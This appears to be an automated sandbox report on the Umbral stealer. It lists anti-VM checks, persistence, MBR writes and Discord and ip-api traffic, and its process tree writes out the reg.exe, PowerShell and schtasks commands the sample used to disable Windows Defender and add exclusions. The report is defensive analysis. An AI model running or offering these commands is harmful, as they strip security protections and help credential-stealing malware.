umbral | 58e72a5d8fa13efff7500e9bcdb98d73cd56ef214c1739bd09970921f69600d8

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Micrasoft OneDrive.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	system32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Microsoft OneDrive.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	XClient.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5228	powershell.exe
860	powershell.exe
4276	powershell.exe
4636	powershell.exe
5736	powershell.exe
6064	powershell.exe
5756	powershell.exe
5604	powershell.exe
5456	powershell.exe
4216	powershell.exe
4080	powershell.exe
4344	powershell.exe
5504	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	system32.exe

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	system32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	system32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	XClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Micrasoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Micrasoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Microsoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Microsoft OneDrive.exe

Drops startup file 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Maicrasoft OneDrive.lnk	Micrasoft OneDrive.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Maicrasoft OneDrive.lnk	Micrasoft OneDrive.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft OneDrive.lnk	Microsoft OneDrive.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft OneDrive.lnk	Microsoft OneDrive.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FunCheker.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FunCheker.lnk	XClient.exe

Executes dropped EXE 5 IoCs

pid	Process
32	Micrasoft OneDrive.exe
208	FanUpdate.exe
4104	system32.exe
1888	Microsoft OneDrive.exe
4332	XClient.exe

Identifies Wine through registry keys 2 TTPs 4 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	Micrasoft OneDrive.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	system32.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	Microsoft OneDrive.exe
Key opened	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Wine	XClient.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

VMProtect packed file 2 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x000800000001ac45-13.dat	vmprotect
behavioral1/memory/208-17-0x0000000000AA0000-0x0000000001EFC000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\FunCheker = "C:\\Users\\Admin\\AppData\\Roaming\\FunCheker.exe"	XClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\Maicrasoft OneDrive = "C:\\Users\\Admin\\AppData\\Roaming\\Maicrasoft OneDrive.exe"	Micrasoft OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft OneDrive = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft OneDrive.exe"	Microsoft OneDrive.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XClient.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Micrasoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Microsoft OneDrive.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	system32.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
12	discord.com
13	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com
10	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 4 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Microsoft OneDrive.exe
File opened for modification	\??\PhysicalDrive0	system32.exe
File opened for modification	\??\PhysicalDrive0	XClient.exe
File opened for modification	\??\PhysicalDrive0	Micrasoft OneDrive.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
32	Micrasoft OneDrive.exe
1888	Microsoft OneDrive.exe
4104	system32.exe
4332	XClient.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
5368	wmic.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3660	schtasks.exe
5236	schtasks.exe
5332	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
32	Micrasoft OneDrive.exe
32	Micrasoft OneDrive.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
1888	Microsoft OneDrive.exe
1888	Microsoft OneDrive.exe
4104	system32.exe
4104	system32.exe
4332	XClient.exe
4332	XClient.exe
3064	taskmgr.exe
3064	taskmgr.exe
4276	powershell.exe
4276	powershell.exe
4636	powershell.exe
4636	powershell.exe
3064	taskmgr.exe
3064	taskmgr.exe
4276	powershell.exe
4636	powershell.exe
4276	powershell.exe
4636	powershell.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
5756	powershell.exe
5756	powershell.exe
4080	powershell.exe
5756	powershell.exe
3064	taskmgr.exe
5756	powershell.exe
3064	taskmgr.exe
5604	powershell.exe
5604	powershell.exe
5604	powershell.exe
5604	powershell.exe
5304	powershell.exe
5304	powershell.exe
3064	taskmgr.exe
5456	powershell.exe
5456	powershell.exe
5304	powershell.exe
5456	powershell.exe
5304	powershell.exe
3064	taskmgr.exe
5456	powershell.exe
4344	powershell.exe
4344	powershell.exe
4344	powershell.exe
4344	powershell.exe
3064	taskmgr.exe
5428	powershell.exe
5428	powershell.exe
3064	taskmgr.exe
5428	powershell.exe
5428	powershell.exe
4216	powershell.exe
4216	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	32	Micrasoft OneDrive.exe
Token: SeDebugPrivilege	3064	taskmgr.exe
Token: SeSystemProfilePrivilege	3064	taskmgr.exe
Token: SeCreateGlobalPrivilege	3064	taskmgr.exe
Token: SeDebugPrivilege	1888	Microsoft OneDrive.exe
Token: SeDebugPrivilege	4332	XClient.exe
Token: SeDebugPrivilege	4104	system32.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	5756	powershell.exe
Token: SeDebugPrivilege	5604	powershell.exe
Token: SeDebugPrivilege	5304	powershell.exe
Token: SeDebugPrivilege	5456	powershell.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeDebugPrivilege	5428	powershell.exe
Token: SeDebugPrivilege	4216	powershell.exe
Token: SeDebugPrivilege	5228	powershell.exe
Token: SeDebugPrivilege	5736	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	5504	powershell.exe
Token: SeIncreaseQuotaPrivilege	700	wmic.exe
Token: SeSecurityPrivilege	700	wmic.exe
Token: SeTakeOwnershipPrivilege	700	wmic.exe
Token: SeLoadDriverPrivilege	700	wmic.exe
Token: SeSystemProfilePrivilege	700	wmic.exe
Token: SeSystemtimePrivilege	700	wmic.exe
Token: SeProfSingleProcessPrivilege	700	wmic.exe
Token: SeIncBasePriorityPrivilege	700	wmic.exe
Token: SeCreatePagefilePrivilege	700	wmic.exe
Token: SeBackupPrivilege	700	wmic.exe
Token: SeRestorePrivilege	700	wmic.exe
Token: SeShutdownPrivilege	700	wmic.exe
Token: SeDebugPrivilege	700	wmic.exe
Token: SeSystemEnvironmentPrivilege	700	wmic.exe
Token: SeRemoteShutdownPrivilege	700	wmic.exe
Token: SeUndockPrivilege	700	wmic.exe
Token: SeManageVolumePrivilege	700	wmic.exe
Token: 33	700	wmic.exe
Token: 34	700	wmic.exe
Token: 35	700	wmic.exe
Token: 36	700	wmic.exe
Token: SeIncreaseQuotaPrivilege	700	wmic.exe
Token: SeSecurityPrivilege	700	wmic.exe
Token: SeTakeOwnershipPrivilege	700	wmic.exe
Token: SeLoadDriverPrivilege	700	wmic.exe
Token: SeSystemProfilePrivilege	700	wmic.exe
Token: SeSystemtimePrivilege	700	wmic.exe
Token: SeProfSingleProcessPrivilege	700	wmic.exe
Token: SeIncBasePriorityPrivilege	700	wmic.exe
Token: SeCreatePagefilePrivilege	700	wmic.exe
Token: SeBackupPrivilege	700	wmic.exe
Token: SeRestorePrivilege	700	wmic.exe
Token: SeShutdownPrivilege	700	wmic.exe
Token: SeDebugPrivilege	700	wmic.exe
Token: SeSystemEnvironmentPrivilege	700	wmic.exe
Token: SeRemoteShutdownPrivilege	700	wmic.exe
Token: SeUndockPrivilege	700	wmic.exe
Token: SeManageVolumePrivilege	700	wmic.exe
Token: 33	700	wmic.exe
Token: 34	700	wmic.exe
Token: 35	700	wmic.exe
Token: 36	700	wmic.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe
3064	taskmgr.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
32	Micrasoft OneDrive.exe
1888	Microsoft OneDrive.exe
4332	XClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 32	2692	XBinderOutput.exe	73
PID 2692 wrote to memory of 32	2692	XBinderOutput.exe	73
PID 2692 wrote to memory of 32	2692	XBinderOutput.exe	73
PID 2692 wrote to memory of 208	2692	XBinderOutput.exe	74
PID 2692 wrote to memory of 208	2692	XBinderOutput.exe	74
PID 208 wrote to memory of 4300	208	FanUpdate.exe	76
PID 208 wrote to memory of 4300	208	FanUpdate.exe	76
PID 208 wrote to memory of 2052	208	FanUpdate.exe	78
PID 208 wrote to memory of 2052	208	FanUpdate.exe	78
PID 208 wrote to memory of 1420	208	FanUpdate.exe	79
PID 208 wrote to memory of 1420	208	FanUpdate.exe	79
PID 208 wrote to memory of 3056	208	FanUpdate.exe	81
PID 208 wrote to memory of 3056	208	FanUpdate.exe	81
PID 208 wrote to memory of 4104	208	FanUpdate.exe	84
PID 208 wrote to memory of 4104	208	FanUpdate.exe	84
PID 208 wrote to memory of 4104	208	FanUpdate.exe	84
PID 208 wrote to memory of 1888	208	FanUpdate.exe	85
PID 208 wrote to memory of 1888	208	FanUpdate.exe	85
PID 208 wrote to memory of 1888	208	FanUpdate.exe	85
PID 208 wrote to memory of 4332	208	FanUpdate.exe	86
PID 208 wrote to memory of 4332	208	FanUpdate.exe	86
PID 208 wrote to memory of 4332	208	FanUpdate.exe	86
PID 4300 wrote to memory of 2036	4300	cmd.exe	87
PID 4300 wrote to memory of 2036	4300	cmd.exe	87
PID 3056 wrote to memory of 972	3056	cmd.exe	88
PID 3056 wrote to memory of 972	3056	cmd.exe	88
PID 4300 wrote to memory of 2184	4300	cmd.exe	90
PID 4300 wrote to memory of 2184	4300	cmd.exe	90
PID 4300 wrote to memory of 3872	4300	cmd.exe	116
PID 4300 wrote to memory of 3872	4300	cmd.exe	116
PID 4300 wrote to memory of 2504	4300	cmd.exe	92
PID 4300 wrote to memory of 2504	4300	cmd.exe	92
PID 4300 wrote to memory of 2420	4300	cmd.exe	93
PID 4300 wrote to memory of 2420	4300	cmd.exe	93
PID 4300 wrote to memory of 4904	4300	cmd.exe	94
PID 4300 wrote to memory of 4904	4300	cmd.exe	94
PID 4300 wrote to memory of 3364	4300	cmd.exe	95
PID 4300 wrote to memory of 3364	4300	cmd.exe	95
PID 4300 wrote to memory of 4080	4300	cmd.exe	121
PID 4300 wrote to memory of 4080	4300	cmd.exe	121
PID 4300 wrote to memory of 3144	4300	cmd.exe	97
PID 4300 wrote to memory of 3144	4300	cmd.exe	97
PID 4300 wrote to memory of 4260	4300	cmd.exe	98
PID 4300 wrote to memory of 4260	4300	cmd.exe	98
PID 4300 wrote to memory of 3516	4300	cmd.exe	99
PID 4300 wrote to memory of 3516	4300	cmd.exe	99
PID 4300 wrote to memory of 2124	4300	cmd.exe	100
PID 4300 wrote to memory of 2124	4300	cmd.exe	100
PID 4300 wrote to memory of 4112	4300	cmd.exe	102
PID 4300 wrote to memory of 4112	4300	cmd.exe	102
PID 4104 wrote to memory of 4276	4104	system32.exe	101
PID 4104 wrote to memory of 4276	4104	system32.exe	101
PID 4104 wrote to memory of 4276	4104	system32.exe	101
PID 4300 wrote to memory of 2260	4300	cmd.exe	115
PID 4300 wrote to memory of 2260	4300	cmd.exe	115
PID 4300 wrote to memory of 2256	4300	cmd.exe	105
PID 4300 wrote to memory of 2256	4300	cmd.exe	105
PID 4300 wrote to memory of 4388	4300	cmd.exe	106
PID 4300 wrote to memory of 4388	4300	cmd.exe	106
PID 4300 wrote to memory of 3660	4300	cmd.exe	107
PID 4300 wrote to memory of 3660	4300	cmd.exe	107
PID 32 wrote to memory of 4636	32	Micrasoft OneDrive.exe	108
PID 32 wrote to memory of 4636	32	Micrasoft OneDrive.exe	108
PID 32 wrote to memory of 4636	32	Micrasoft OneDrive.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XBinderOutput.exe
"C:\Users\Admin\AppData\Local\Temp\XBinderOutput.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Users\Admin\AppData\Local\Temp\Micrasoft OneDrive.exe
  "C:\Users\Admin\AppData\Local\Temp\Micrasoft OneDrive.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Drops startup file
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Writes to the Master Boot Record (MBR)
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:32
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Micrasoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4636
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Micrasoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5756
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Maicrasoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4344
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Maicrasoft OneDrive.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5736
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Maicrasoft OneDrive" /tr "C:\Users\Admin\AppData\Roaming\Maicrasoft OneDrive.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3660
- C:\Users\Admin\AppData\Local\Temp\FanUpdate.exe
  "C:\Users\Admin\AppData\Local\Temp\FanUpdate.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\avdisable.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4300
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2036
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      4⤵
      PID:2184
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      4⤵
      PID:3872
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      4⤵
      PID:2504
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2420
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:4904
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3364
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:4080
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3144
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      4⤵
      PID:4260
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      4⤵
      PID:3516
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      4⤵
      PID:2124
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
      4⤵
      PID:4112
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
      4⤵
      PID:2260
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
      4⤵
      PID:2256
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
      4⤵
      PID:4388
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
      4⤵
      PID:3660
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
      4⤵
      PID:4616
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
      4⤵
      PID:812
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
      4⤵
      PID:2144
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
      4⤵
      PID:4892
